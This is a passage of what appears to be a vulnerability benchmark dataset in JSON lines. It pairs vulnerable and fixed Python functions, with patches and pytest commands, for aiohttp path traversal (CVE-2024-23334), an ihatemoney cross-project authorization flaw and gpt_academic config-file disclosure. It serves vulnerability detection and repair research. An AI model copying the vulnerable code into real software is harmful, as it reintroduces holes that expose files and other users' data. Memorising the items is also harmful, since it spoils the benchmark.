request.user.is_superuser:\n                 return FormattedResponse(config.get_all())\n             return FormattedResponse(config.get_all_non_sensitive())\n-        return FormattedResponse(config.get(name))\n+        if not config.is_sensitive(name) or request.is_superuser:\n+            return FormattedResponse(config.get(name))\n+        return FormattedResponse(status=HTTP_403_FORBIDDEN)\n\n--- /dev/null\n+++ b/src/config/views.py\n@@ -0,0 +1,2 @@\n+def is_sensitive(key):\n+    return key in backend.get('sensitive_fields')\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-23334", "cve_description": "aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present.  Disabling follow_symlinks and using a reverse proxy are encouraged mitigations.  Version 3.9.2 fixes this issue.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/aio-libs/aiohttp", "patch_url": ["https://github.com/aio-libs/aiohttp/commit/1c335944d6a8b1298baf179b7c0b3069f10c514b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_17_1", "commit": "33ccdfb0a12690af5bb49bda2319ec0907fa7827", "file_path": "aiohttp/web_urldispatcher.py", "start_line": 558, "end_line": 592, "snippet": "    def url_for(  # type: ignore[override]\n        self,\n        *,\n        filename: PathLike,\n        append_version: Optional[bool] = None,\n    ) -> URL:\n        if append_version is None:\n            append_version = self._append_version\n        filename = str(filename).lstrip(\"/\")\n\n        url = URL.build(path=self._prefix, encoded=True)\n        # filename is not encoded\n        if YARL_VERSION < (1, 6):\n            url = url / filename.replace(\"%\", \"%25\")\n        else:\n            url = url / filename\n\n        if append_version:\n            try:\n                filepath = self._directory.joinpath(filename).resolve()\n                if not self._follow_symlinks:\n                    filepath.relative_to(self._directory)\n            except (ValueError, FileNotFoundError):\n                # ValueError for case when path point to symlink\n                # with follow_symlinks is False\n                return url  # relatively safe\n            if filepath.is_file():\n                # TODO cache file content\n                # with file watcher for cache invalidation\n                with filepath.open(\"rb\") as f:\n                    file_bytes = f.read()\n                h = self._get_file_hash(file_bytes)\n                url = url.with_query({self.VERSION_KEY: h})\n                return url\n        return url"}, {"id": "vul_py_17_2", "commit": "33ccdfb0a12690af5bb49bda2319ec0907fa7827", "file_path": "aiohttp/web_urldispatcher.py", "start_line": 634, "end_line": 670, "snippet": "    async def _handle(self, request: Request) -> StreamResponse:\n        rel_url = request.match_info[\"filename\"]\n        try:\n            filename = Path(rel_url)\n            if filename.anchor:\n                # rel_url is an absolute name like\n                # /static/\\\\machine_name\\c$ or /static/D:\\path\n                # where the static dir is totally different\n                raise HTTPForbidden()\n            filepath = self._directory.joinpath(filename).resolve()\n            if not self._follow_symlinks:\n                filepath.relative_to(self._directory)\n        except (ValueError, FileNotFoundError) as error:\n            # relatively safe\n            raise HTTPNotFound() from error\n        except HTTPForbidden:\n            raise\n        except Exception as error:\n            # perm error or other kind!\n            request.app.logger.exception(error)\n            raise HTTPNotFound() from error\n\n        # on opening a dir, load its contents if allowed\n        if filepath.is_dir():\n            if self._show_index:\n                try:\n                    return Response(\n                        text=self._directory_as_html(filepath), content_type=\"text/html\"\n                    )\n                except PermissionError:\n                    raise HTTPForbidden()\n            else:\n                raise HTTPForbidden()\n        elif filepath.is_file():\n            return FileResponse(filepath, chunk_size=self._chunk_size)\n        else:\n            raise HTTPNotFound"}], "fix_func": [{"id": "fix_py_17_1", "commit": "1c335944d6a8b1298baf179b7c0b3069f10c514b", "file_path": "aiohttp/web_urldispatcher.py", "start_line": 558, "end_line": 597, "snippet": "    def url_for(  # type: ignore[override]\n        self,\n        *,\n        filename: PathLike,\n        append_version: Optional[bool] = None,\n    ) -> URL:\n        if append_version is None:\n            append_version = self._append_version\n        filename = str(filename).lstrip(\"/\")\n\n        url = URL.build(path=self._prefix, encoded=True)\n        # filename is not encoded\n        if YARL_VERSION < (1, 6):\n            url = url / filename.replace(\"%\", \"%25\")\n        else:\n            url = url / filename\n\n        if append_version:\n            unresolved_path = self._directory.joinpath(filename)\n            try:\n                if self._follow_symlinks:\n                    normalized_path = Path(os.path.normpath(unresolved_path))\n                    normalized_path.relative_to(self._directory)\n                    filepath = normalized_path.resolve()\n                else:\n                    filepath = unresolved_path.resolve()\n                    filepath.relative_to(self._directory)\n            except (ValueError, FileNotFoundError):\n                # ValueError for case when path point to symlink\n                # with follow_symlinks is False\n                return url  # relatively safe\n            if filepath.is_file():\n                # TODO cache file content\n                # with file watcher for cache invalidation\n                with filepath.open(\"rb\") as f:\n                    file_bytes = f.read()\n                h = self._get_file_hash(file_bytes)\n                url = url.with_query({self.VERSION_KEY: h})\n                return url\n        return url"}, {"id": "fix_py_17_2", "commit": "1c335944d6a8b1298baf179b7c0b3069f10c514b", "file_path": "aiohttp/web_urldispatcher.py", "start_line": 639, "end_line": 680, "snippet": "    async def _handle(self, request: Request) -> StreamResponse:\n        rel_url = request.match_info[\"filename\"]\n        try:\n            filename = Path(rel_url)\n            if filename.anchor:\n                # rel_url is an absolute name like\n                # /static/\\\\machine_name\\c$ or /static/D:\\path\n                # where the static dir is totally different\n                raise HTTPForbidden()\n            unresolved_path = self._directory.joinpath(filename)\n            if self._follow_symlinks:\n                normalized_path = Path(os.path.normpath(unresolved_path))\n                normalized_path.relative_to(self._directory)\n                filepath = normalized_path.resolve()\n            else:\n                filepath = unresolved_path.resolve()\n                filepath.relative_to(self._directory)\n        except (ValueError, FileNotFoundError) as error:\n            # relatively safe\n            raise HTTPNotFound() from error\n        except HTTPForbidden:\n            raise\n        except Exception as error:\n            # perm error or other kind!\n            request.app.logger.exception(error)\n            raise HTTPNotFound() from error\n\n        # on opening a dir, load its contents if allowed\n        if filepath.is_dir():\n            if self._show_index:\n                try:\n                    return Response(\n                        text=self._directory_as_html(filepath), content_type=\"text/html\"\n                    )\n                except PermissionError:\n                    raise HTTPForbidden()\n            else:\n                raise HTTPForbidden()\n        elif filepath.is_file():\n            return FileResponse(filepath, chunk_size=self._chunk_size)\n        else:\n            raise HTTPNotFound"}], "vul_patch": "--- a/aiohttp/web_urldispatcher.py\n+++ b/aiohttp/web_urldispatcher.py\n@@ -16,9 +16,14 @@\n             url = url / filename\n \n         if append_version:\n+            unresolved_path = self._directory.joinpath(filename)\n             try:\n-                filepath = self._directory.joinpath(filename).resolve()\n-                if not self._follow_symlinks:\n+                if self._follow_symlinks:\n+                    normalized_path = Path(os.path.normpath(unresolved_path))\n+                    normalized_path.relative_to(self._directory)\n+                    filepath = normalized_path.resolve()\n+                else:\n+                    filepath = unresolved_path.resolve()\n                     filepath.relative_to(self._directory)\n             except (ValueError, FileNotFoundError):\n                 # ValueError for case when path point to symlink\n\n--- a/aiohttp/web_urldispatcher.py\n+++ b/aiohttp/web_urldispatcher.py\n@@ -7,8 +7,13 @@\n                 # /static/\\\\machine_name\\c$ or /static/D:\\path\n                 # where the static dir is totally different\n                 raise HTTPForbidden()\n-            filepath = self._directory.joinpath(filename).resolve()\n-            if not self._follow_symlinks:\n+            unresolved_path = self._directory.joinpath(filename)\n+            if self._follow_symlinks:\n+                normalized_path = Path(os.path.normpath(unresolved_path))\n+                normalized_path.relative_to(self._directory)\n+                filepath = normalized_path.resolve()\n+            else:\n+                filepath = unresolved_path.resolve()\n                 filepath.relative_to(self._directory)\n         except (ValueError, FileNotFoundError) as error:\n             # relatively safe\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-23334:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/aiohttp\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2024-23334/bin/python -m pytest -p no:aiohttp test_web_urldispatcher.py::test_follow_symlink_directory_traversal test_web_urldispatcher.py::test_follow_symlink_directory_traversal_after_normalization -v\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-23334:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/aiohttp\ngit apply --whitespace=nowarn /workspace/test.patch\ncd tests && /workspace/PoC_env/CVE-2024-23334/bin/python -m pytest -p no:aiohttp test_web_urldispatcher.py -v -k \"not test_follow_symlink_directory_traversal_after_normalization and not test_access_to_the_file_with_spaces and not test_follow_symlink_directory_traversal and not test_follow_symlink_directory_traversal_after_normalization\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2020-15120", "cve_description": "In \"I hate money\" before version 4.1.5, an authenticated member of one project can modify and delete members of another project, without knowledge of this other project's private code. This can be further exploited to access all bills of another project without knowledge of this other project's private code. With the default configuration, anybody is allowed to create a new project. An attacker can create a new project and then use it to become authenticated and exploit this flaw. As such, the exposure is similar to an unauthenticated attack, because it is trivial to become authenticated. This is fixed in version 4.1.5.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/spiral-project/ihatemoney", "patch_url": ["https://github.com/spiral-project/ihatemoney/commit/8d77cf5d5646e1d2d8ded13f0660638f57e98471"], "programing_language": "Python", "vul_func": [{"id": "vul_py_384_1", "commit": "040d76af83411fb58ab400dc4eac909191a3e5fa", "file_path": "ihatemoney/models.py", "start_line": 380, "end_line": 385, "snippet": "        def get_by_name(self, name, project):\n            return (\n                Person.query.filter(Person.name == name)\n                .filter(Project.id == project.id)\n                .one()\n            )"}, {"id": "vul_py_384_2", "commit": "040d76af83411fb58ab400dc4eac909191a3e5fa", "file_path": "ihatemoney/models.py", "start_line": 387, "end_line": 394, "snippet": "        def get(self, id, project=None):\n            if not project:\n                project = g.project\n            return (\n                Person.query.filter(Person.id == id)\n                .filter(Project.id == project.id)\n                .one()\n            )"}], "fix_func": [{"id": "fix_py_384_1", "commit": "8d77cf5d5646e1d2d8ded13f0660638f57e98471", "file_path": "ihatemoney/models.py", "start_line": 380, "end_line": 385, "snippet": "        def get_by_name(self, name, project):\n            return (\n                Person.query.filter(Person.name == name)\n                .filter(Person.project_id == project.id)\n                .one()\n            )"}, {"id": "fix_py_384_2", "commit": "8d77cf5d5646e1d2d8ded13f0660638f57e98471", "file_path": "ihatemoney/models.py", "start_line": 387, "end_line": 394, "snippet": "        def get(self, id, project=None):\n            if not project:\n                project = g.project\n            return (\n                Person.query.filter(Person.id == id)\n                .filter(Person.project_id == project.id)\n                .one()\n            )"}], "vul_patch": "--- a/ihatemoney/models.py\n+++ b/ihatemoney/models.py\n@@ -1,6 +1,6 @@\n         def get_by_name(self, name, project):\n             return (\n                 Person.query.filter(Person.name == name)\n-                .filter(Project.id == project.id)\n+                .filter(Person.project_id == project.id)\n                 .one()\n             )\n\n--- a/ihatemoney/models.py\n+++ b/ihatemoney/models.py\n@@ -3,6 +3,6 @@\n                 project = g.project\n             return (\n                 Person.query.filter(Person.id == id)\n-                .filter(Project.id == project.id)\n+                .filter(Person.project_id == project.id)\n                 .one()\n             )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-33979", "cve_description": "gpt_academic provides a graphical interface for ChatGPT/GLM. A vulnerability was found in gpt_academic 3.37 and prior. This issue affects some unknown processing of the component Configuration File Handler. The manipulation of the argument file leads to information disclosure. Since no sensitive files are configured to be off-limits, sensitive information files in some working directories can be read through the `/file` route, leading to sensitive information leakage. This affects users that uses file configurations via `config.py`, `config_private.py`, `Dockerfile`. A patch is available at commit 1dcc2873d2168ad2d3d70afcb453ac1695fbdf02. As a workaround, one may use environment variables instead of `config*.py` files to configure this project, or use docker-compose installation to configure this project.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/binary-husky/gpt_academic", "patch_url": ["https://github.com/binary-husky/gpt_academic/commit/1dcc2873d2168ad2d3d70afcb453ac1695fbdf02"], "programing_language": "Python", "vul_func": [{"id": "vul_py_115_1", "commit": "42cf738", "file_path": "main.py", "start_line": 3, "end_line": 200, "snippet": "def main():\n    import gradio as gr\n    if gr.__version__ not in ['3.28.3','3.32.2']: assert False, \"\\u8bf7\\u7528 pip install -r requirements.txt \\u5b89\\u88c5\\u4f9d\\u8d56\"\n    from request_llm.bridge_all import predict\n    from toolbox import format_io, find_free_port, on_file_uploaded, on_report_generated, get_conf, ArgsGeneralWrapper, DummyWith\n    # \\u5efa\\u8bae\\u60a8\\u590d\\u5236\\u4e00\\u4e2aconfig_private.py\\u653e\\u81ea\\u5df1\\u7684\\u79d8\\u5bc6, \\u5982API\\u548c\\u4ee3\\u7406\\u7f51\\u5740, \\u907f\\u514d\\u4e0d\\u5c0f\\u5fc3\\u4f20github\\u88ab\\u522b\\u4eba\\u770b\\u5230\n    proxies, WEB_PORT, LLM_MODEL, CONCURRENT_COUNT, AUTHENTICATION, CHATBOT_HEIGHT, LAYOUT, API_KEY, AVAIL_LLM_MODELS = \\\n        get_conf('proxies', 'WEB_PORT', 'LLM_MODEL', 'CONCURRENT_COUNT', 'AUTHENTICATION', 'CHATBOT_HEIGHT', 'LAYOUT', 'API_KEY', 'AVAIL_LLM_MODELS')\n\n    # \\u5982\\u679cWEB_PORT\\u662f-1, \\u5219\\u968f\\u673a\\u9009\\u53d6WEB\\u7aef\\u53e3\n    PORT = find_free_port() if WEB_PORT <= 0 else WEB_PORT\n    if not AUTHENTICATION: AUTHENTICATION = None\n\n    from check_proxy import get_current_version\n    initial_prompt = \"Serve me as a writing and programming assistant.\"\n    title_html = f\"<h1 align=\\\"center\\\">ChatGPT \\u5b66\\u672f\\u4f18\\u5316 {get_current_version()}</h1>\"\n    description =  \"\"\"\\u4ee3\\u7801\\u5f00\\u6e90\\u548c\\u66f4\\u65b0[\\u5730\\u5740\\ud83d\\ude80](https://github.com/binary-husky/chatgpt_academic)\\uff0c\\u611f\\u8c22\\u70ed\\u60c5\\u7684[\\u5f00\\u53d1\\u8005\\u4eec\\u2764\\ufe0f](https://github.com/binary-husky/chatgpt_academic/graphs/contributors)\"\"\"\n\n    # \\u95ee\\u8be2\\u8bb0\\u5f55, python \\u7248\\u672c\\u5efa\\u8bae3.9+\\uff08\\u8d8a\\u65b0\\u8d8a\\u597d\\uff09\n    import logging\n    os.makedirs(\"gpt_log\", exist_ok=True)\n    try:logging.basicConfig(filename=\"gpt_log/chat_secrets.log\", level=logging.INFO, encoding=\"utf-8\")\n    except:logging.basicConfig(filename=\"gpt_log/chat_secrets.log\", level=logging.INFO)\n    print(\"\\u6240\\u6709\\u95ee\\u8be2\\u8bb0\\u5f55\\u5c06\\u81ea\\u52a8\\u4fdd\\u5b58\\u5728\\u672c\\u5730\\u76ee\\u5f55./gpt_log/chat_secrets.log, \\u8bf7\\u6ce8\\u610f\\u81ea\\u6211\\u9690\\u79c1\\u4fdd\\u62a4\\u54e6\\uff01\")\n\n    # \\u4e00\\u4e9b\\u666e\\u901a\\u529f\\u80fd\\u6a21\\u5757\n    from core_functional import get_core_functions\n    functional = get_core_functions()\n\n    # \\u9ad8\\u7ea7\\u51fd\\u6570\\u63d2\\u4ef6\n    from crazy_functional import get_crazy_functions\n    crazy_fns = get_crazy_functions()\n\n    # \\u5904\\u7406markdown\\u6587\\u672c\\u683c\\u5f0f\\u7684\\u8f6c\\u53d8\n    gr.Chatbot.postprocess = format_io\n\n    # \\u505a\\u4e00\\u4e9b\\u5916\\u89c2\\u8272\\u5f69\\u4e0a\\u7684\\u8c03\\u6574\n    from theme import adjust_theme, advanced_css\n    set_theme = adjust_theme()\n\n    # \\u4ee3\\u7406\\u4e0e\\u81ea\\u52a8\\u66f4\\u65b0\n    from check_proxy import check_proxy, auto_update, warm_up_modules\n    proxy_info = check_proxy(proxies)\n\n    gr_L1 = lambda: gr.Row().style()\n    gr_L2 = lambda scale: gr.Column(scale=scale)\n    if LAYOUT == \"TOP-DOWN\":\n        gr_L1 = lambda: DummyWith()\n        gr_L2 = lambda scale: gr.Row()\n        CHATBOT_HEIGHT /= 2\n\n    cancel_handles = []\n    with gr.Blocks(title=\"ChatGPT \\u5b66\\u672f\\u4f18\\u5316\", theme=set_theme, analytics_enabled=False, css=advanced_css) as demo:\n        gr.HTML(title_html)\n        cookies = gr.State({'api_key': API_KEY, 'llm_model': LLM_MODEL})\n        with gr_L1():\n            with gr_L2(scale=2):\n                chatbot = gr.Chatbot(label=f\"\\u5f53\\u524d\\u6a21\\u578b\\uff1a{LLM_MODEL}\")\n                chatbot.style(height=CHATBOT_HEIGHT)\n                history = gr.State([])\n            with gr_L2(scale=1):\n                with gr.Accordion(\"\\u8f93\\u5165\\u533a\", open=True) as area_input_primary:\n                    with gr.Row():\n                        txt = gr.Textbox(show_label=False, placeholder=\"Input question here.\").style(container=False)\n                    with gr.Row():\n                        submitBtn = gr.Button(\"\\u63d0\\u4ea4\", variant=\"primary\")\n                    with gr.Row():\n                        resetBtn = gr.Button(\"\\u91cd\\u7f6e\", variant=\"secondary\"); resetBtn.style(size=\"sm\")\n                        stopBtn = gr.Button(\"\\u505c\\u6b62\", variant=\"secondary\"); stopBtn.style(size=\"sm\")\n                        clearBtn = gr.Button(\"\\u6e05\\u9664\", variant=\"secondary\", visible=False); clearBtn.style(size=\"sm\")\n                    with gr.Row():\n                        status = gr.Markdown(f\"Tip: \\u6309Enter\\u63d0\\u4ea4, \\u6309Shift+Enter\\u6362\\u884c\\u3002\\u5f53\\u524d\\u6a21\\u578b: {LLM_MODEL} \\n {proxy_info}\")\n                with gr.Accordion(\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\", open=True) as area_basic_fn:\n                    with gr.Row():\n                        for k in functional:\n                            if (\"Visible\" in functional[k]) and (not functional[k][\"Visible\"]): continue\n                            variant = functional[k][\"Color\"] if \"Color\" in functional[k] else \"secondary\"\n                            functional[k][\"Button\"] = gr.Button(k, variant=variant)\n                with gr.Accordion(\"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\", open=True) as area_crazy_fn:\n                    with gr.Row():\n                        gr.Markdown(\"\\u6ce8\\u610f\\uff1a\\u4ee5\\u4e0b\\u201c\\u7ea2\\u989c\\u8272\\u201d\\u6807\\u8bc6\\u7684\\u51fd\\u6570\\u63d2\\u4ef6\\u9700\\u4ece\\u8f93\\u5165\\u533a\\u8bfb\\u53d6\\u8def\\u5f84\\u4f5c\\u4e3a\\u53c2\\u6570.\")\n                    with gr.Row():\n                        for k in crazy_fns:\n                            if not crazy_fns[k].get(\"AsButton\", True): continue\n                            variant = crazy_fns[k][\"Color\"] if \"Color\" in crazy_fns[k] else \"secondary\"\n                            crazy_fns[k][\"Button\"] = gr.Button(k, variant=variant)\n                            crazy_fns[k][\"Button\"].style(size=\"sm\")\n                    with gr.Row():\n                        with gr.Accordion(\"\\u66f4\\u591a\\u51fd\\u6570\\u63d2\\u4ef6\", open=True):\n                            dropdown_fn_list = [k for k in crazy_fns.keys() if not crazy_fns[k].get(\"AsButton\", True)]\n                            with gr.Row():\n                                dropdown = gr.Dropdown(dropdown_fn_list, value=r\"\\u6253\\u5f00\\u63d2\\u4ef6\\u5217\\u8868\", label=\"\").style(container=False)\n                            with gr.Row():\n                                plugin_advanced_arg = gr.Textbox(show_label=True, label=\"\\u9ad8\\u7ea7\\u53c2\\u6570\\u8f93\\u5165\\u533a\", visible=False, \n                                                                 placeholder=\"\\u8fd9\\u91cc\\u662f\\u7279\\u6b8a\\u51fd\\u6570\\u63d2\\u4ef6\\u7684\\u9ad8\\u7ea7\\u53c2\\u6570\\u8f93\\u5165\\u533a\").style(container=False)\n                            with gr.Row():\n                                switchy_bt = gr.Button(r\"\\u8bf7\\u5148\\u4ece\\u63d2\\u4ef6\\u5217\\u8868\\u4e2d\\u9009\\u62e9\", variant=\"secondary\")\n                    with gr.Row():\n                        with gr.Accordion(\"\\u70b9\\u51fb\\u5c55\\u5f00\\u201c\\u6587\\u4ef6\\u4e0a\\u4f20\\u533a\\u201d\\u3002\\u4e0a\\u4f20\\u672c\\u5730\\u6587\\u4ef6\\u53ef\\u4f9b\\u7ea2\\u8272\\u51fd\\u6570\\u63d2\\u4ef6\\u8c03\\u7528\\u3002\", open=False) as area_file_up:\n                            file_upload = gr.Files(label=\"\\u4efb\\u4f55\\u6587\\u4ef6, \\u4f46\\u63a8\\u8350\\u4e0a\\u4f20\\u538b\\u7f29\\u6587\\u4ef6(zip, tar)\", file_count=\"multiple\")\n                with gr.Accordion(\"\\u66f4\\u6362\\u6a21\\u578b & SysPrompt & \\u4ea4\\u4e92\\u754c\\u9762\\u5e03\\u5c40\", open=(LAYOUT == \"TOP-DOWN\")):\n                    system_prompt = gr.Textbox(show_label=True, placeholder=f\"System Prompt\", label=\"System prompt\", value=initial_prompt)\n                    top_p = gr.Slider(minimum=-0, maximum=1.0, value=1.0, step=0.01,interactive=True, label=\"Top-p (nucleus sampling)\",)\n                    temperature = gr.Slider(minimum=-0, maximum=2.0, value=1.0, step=0.01, interactive=True, label=\"Temperature\",)\n                    max_length_sl = gr.Slider(minimum=256, maximum=4096, value=512, step=1, interactive=True, label=\"Local LLM MaxLength\",)\n                    checkboxes = gr.CheckboxGroup([\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\", \"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\", \"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\", \"\\u8f93\\u5165\\u6e05\\u9664\\u952e\", \"\\u63d2\\u4ef6\\u53c2\\u6570\\u533a\"], value=[\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\", \"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\"], label=\"\\u663e\\u793a/\\u9690\\u85cf\\u529f\\u80fd\\u533a\")\n                    md_dropdown = gr.Dropdown(AVAIL_LLM_MODELS, value=LLM_MODEL, label=\"\\u66f4\\u6362LLM\\u6a21\\u578b/\\u8bf7\\u6c42\\u6e90\").style(container=False)\n\n                    gr.Markdown(description)\n                with gr.Accordion(\"\\u5907\\u9009\\u8f93\\u5165\\u533a\", open=True, visible=False) as area_input_secondary:\n                    with gr.Row():\n                        txt2 = gr.Textbox(show_label=False, placeholder=\"Input question here.\", label=\"\\u8f93\\u5165\\u533a2\").style(container=False)\n                    with gr.Row():\n                        submitBtn2 = gr.Button(\"\\u63d0\\u4ea4\", variant=\"primary\")\n                    with gr.Row():\n                        resetBtn2 = gr.Button(\"\\u91cd\\u7f6e\", variant=\"secondary\"); resetBtn2.style(size=\"sm\")\n                        stopBtn2 = gr.Button(\"\\u505c\\u6b62\", variant=\"secondary\"); stopBtn2.style(size=\"sm\")\n                        clearBtn2 = gr.Button(\"\\u6e05\\u9664\", variant=\"secondary\", visible=False); clearBtn2.style(size=\"sm\")\n        # \\u529f\\u80fd\\u533a\\u663e\\u793a\\u5f00\\u5173\\u4e0e\\u529f\\u80fd\\u533a\\u7684\\u4e92\\u52a8\n        def fn_area_visibility(a):\n            ret = {}\n            ret.update({area_basic_fn: gr.update(visible=(\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\" in a))})\n            ret.update({area_crazy_fn: gr.update(visible=(\"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\" in a))})\n            ret.update({area_input_primary: gr.update(visible=(\"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\" not in a))})\n            ret.update({area_input_secondary: gr.update(visible=(\"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\" in a))})\n            ret.update({clearBtn: gr.update(visible=(\"\\u8f93\\u5165\\u6e05\\u9664\\u952e\" in a))})\n            ret.update({clearBtn2: gr.update(visible=(\"\\u8f93\\u5165\\u6e05\\u9664\\u952e\" in a))})\n            ret.update({plugin_advanced_arg: gr.update(visible=(\"\\u63d2\\u4ef6\\u53c2\\u6570\\u533a\" in a))})\n            if \"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\" in a: ret.update({txt: gr.update(value=\"\")})\n            return ret\n        checkboxes.select(fn_area_visibility, [checkboxes], [area_basic_fn, area_crazy_fn, area_input_primary, area_input_secondary, txt, txt2, clearBtn, clearBtn2, plugin_advanced_arg] )\n        # \\u6574\\u7406\\u53cd\\u590d\\u51fa\\u73b0\\u7684\\u63a7\\u4ef6\\u53e5\\u67c4\\u7ec4\\u5408\n        input_combo = [cookies, max_length_sl, md_dropdown, txt, txt2, top_p, temperature, chatbot, history, system_prompt, plugin_advanced_arg]\n        output_combo = [cookies, chatbot, history, status]\n        predict_args = dict(fn=ArgsGeneralWrapper(predict), inputs=input_combo, outputs=output_combo)\n        # \\u63d0\\u4ea4\\u6309\\u94ae\\u3001\\u91cd\\u7f6e\\u6309\\u94ae\n        cancel_handles.append(txt.submit(**predict_args))\n        cancel_handles.append(txt2.submit(**predict_args))\n        cancel_handles.append(submitBtn.click(**predict_args))\n        cancel_handles.append(submitBtn2.click(**predict_args))\n        resetBtn.click(lambda: ([], [], \"\\u5df2\\u91cd\\u7f6e\"), None, [chatbot, history, status])\n        resetBtn2.click(lambda: ([], [], \"\\u5df2\\u91cd\\u7f6e\"), None, [chatbot, history, status])\n        clearBtn.click(lambda: (\"\",\"\"), None, [txt, txt2])\n        clearBtn2.click(lambda: (\"\",\"\"), None, [txt, txt2])\n        # \\u57fa\\u7840\\u529f\\u80fd\\u533a\\u7684\\u56de\\u8c03\\u51fd\\u6570\\u6ce8\\u518c\n        for k in functional:\n            if (\"Visible\" in functional[k]) and (not functional[k][\"Visible\"]): continue\n            click_handle = functional[k][\"Button\"].click(fn=ArgsGeneralWrapper(predict), inputs=[*input_combo, gr.State(True), gr.State(k)], outputs=output_combo)\n            cancel_handles.append(click_handle)\n        # \\u6587\\u4ef6\\u4e0a\\u4f20\\u533a\\uff0c\\u63a5\\u6536\\u6587\\u4ef6\\u540e\\u4e0echatbot\\u7684\\u4e92\\u52a8\n        file_upload.upload(on_file_uploaded, [file_upload, chatbot, txt, txt2, checkboxes], [chatbot, txt, txt2])\n        # \\u51fd\\u6570\\u63d2\\u4ef6-\\u56fa\\u5b9a\\u6309\\u94ae\\u533a\n        for k in crazy_fns:\n            if not crazy_fns[k].get(\"AsButton\", True): continue\n            click_handle = crazy_fns[k][\"Button\"].click(ArgsGeneralWrapper(crazy_fns[k][\"Function\"]), [*input_combo, gr.State(PORT)], output_combo)\n            click_handle.then(on_report_generated, [file_upload, chatbot], [file_upload, chatbot])\n            cancel_handles.append(click_handle)\n        # \\u51fd\\u6570\\u63d2\\u4ef6-\\u4e0b\\u62c9\\u83dc\\u5355\\u4e0e\\u968f\\u53d8\\u6309\\u94ae\\u7684\\u4e92\\u52a8\n        def on_dropdown_changed(k):\n            variant = crazy_fns[k][\"Color\"] if \"Color\" in crazy_fns[k] else \"secondary\"\n            ret = {switchy_bt: gr.update(value=k, variant=variant)}\n            if crazy_fns[k].get(\"AdvancedArgs\", False): # \\u662f\\u5426\\u5524\\u8d77\\u9ad8\\u7ea7\\u63d2\\u4ef6\\u53c2\\u6570\\u533a\n                ret.update({plugin_advanced_arg: gr.update(visible=True,  label=f\"\\u63d2\\u4ef6[{k}]\\u7684\\u9ad8\\u7ea7\\u53c2\\u6570\\u8bf4\\u660e\\uff1a\" + crazy_fns[k].get(\"ArgsReminder\", [f\"\\u6ca1\\u6709\\u63d0\\u4f9b\\u9ad8\\u7ea7\\u53c2\\u6570\\u529f\\u80fd\\u8bf4\\u660e\"]))})\n            else:\n                ret.update({plugin_advanced_arg: gr.update(visible=False, label=f\"\\u63d2\\u4ef6[{k}]\\u4e0d\\u9700\\u8981\\u9ad8\\u7ea7\\u53c2\\u6570\\u3002\")})\n            return ret\n        dropdown.select(on_dropdown_changed, [dropdown], [switchy_bt, plugin_advanced_arg] )\n        def on_md_dropdown_changed(k):\n            return {chatbot: gr.update(label=\"\\u5f53\\u524d\\u6a21\\u578b\\uff1a\"+k)}\n        md_dropdown.select(on_md_dropdown_changed, [md_dropdown], [chatbot] )\n        # \\u968f\\u53d8\\u6309\\u94ae\\u7684\\u56de\\u8c03\\u51fd\\u6570\\u6ce8\\u518c\n        def route(k, *args, **kwargs):\n            if k in [r\"\\u6253\\u5f00\\u63d2\\u4ef6\\u5217\\u8868\", r\"\\u8bf7\\u5148\\u4ece\\u63d2\\u4ef6\\u5217\\u8868\\u4e2d\\u9009\\u62e9\"]: return\n            yield from ArgsGeneralWrapper(crazy_fns[k][\"Function\"])(*args, **kwargs)\n        click_handle = switchy_bt.click(route,[switchy_bt, *input_combo, gr.State(PORT)], output_combo)\n        click_handle.then(on_report_generated, [file_upload, chatbot], [file_upload, chatbot])\n        cancel_handles.append(click_handle)\n        # \\u7ec8\\u6b62\\u6309\\u94ae\\u7684\\u56de\\u8c03\\u51fd\\u6570\\u6ce8\\u518c\n        stopBtn.click(fn=None, inputs=None, outputs=None, cancels=cancel_handles)\n        stopBtn2.click(fn=None, inputs=None, outputs=None, cancels=cancel_handles)\n\n    # gradio\\u7684inbrowser\\u89e6\\u53d1\\u4e0d\\u592a\\u7a33\\u5b9a\\uff0c\\u56de\\u6eda\\u4ee3\\u7801\\u5230\\u539f\\u59cb\\u7684\\u6d4f\\u89c8\\u5668\\u6253\\u5f00\\u51fd\\u6570\n    def auto_opentab_delay():\n        import threading, webbrowser, time\n        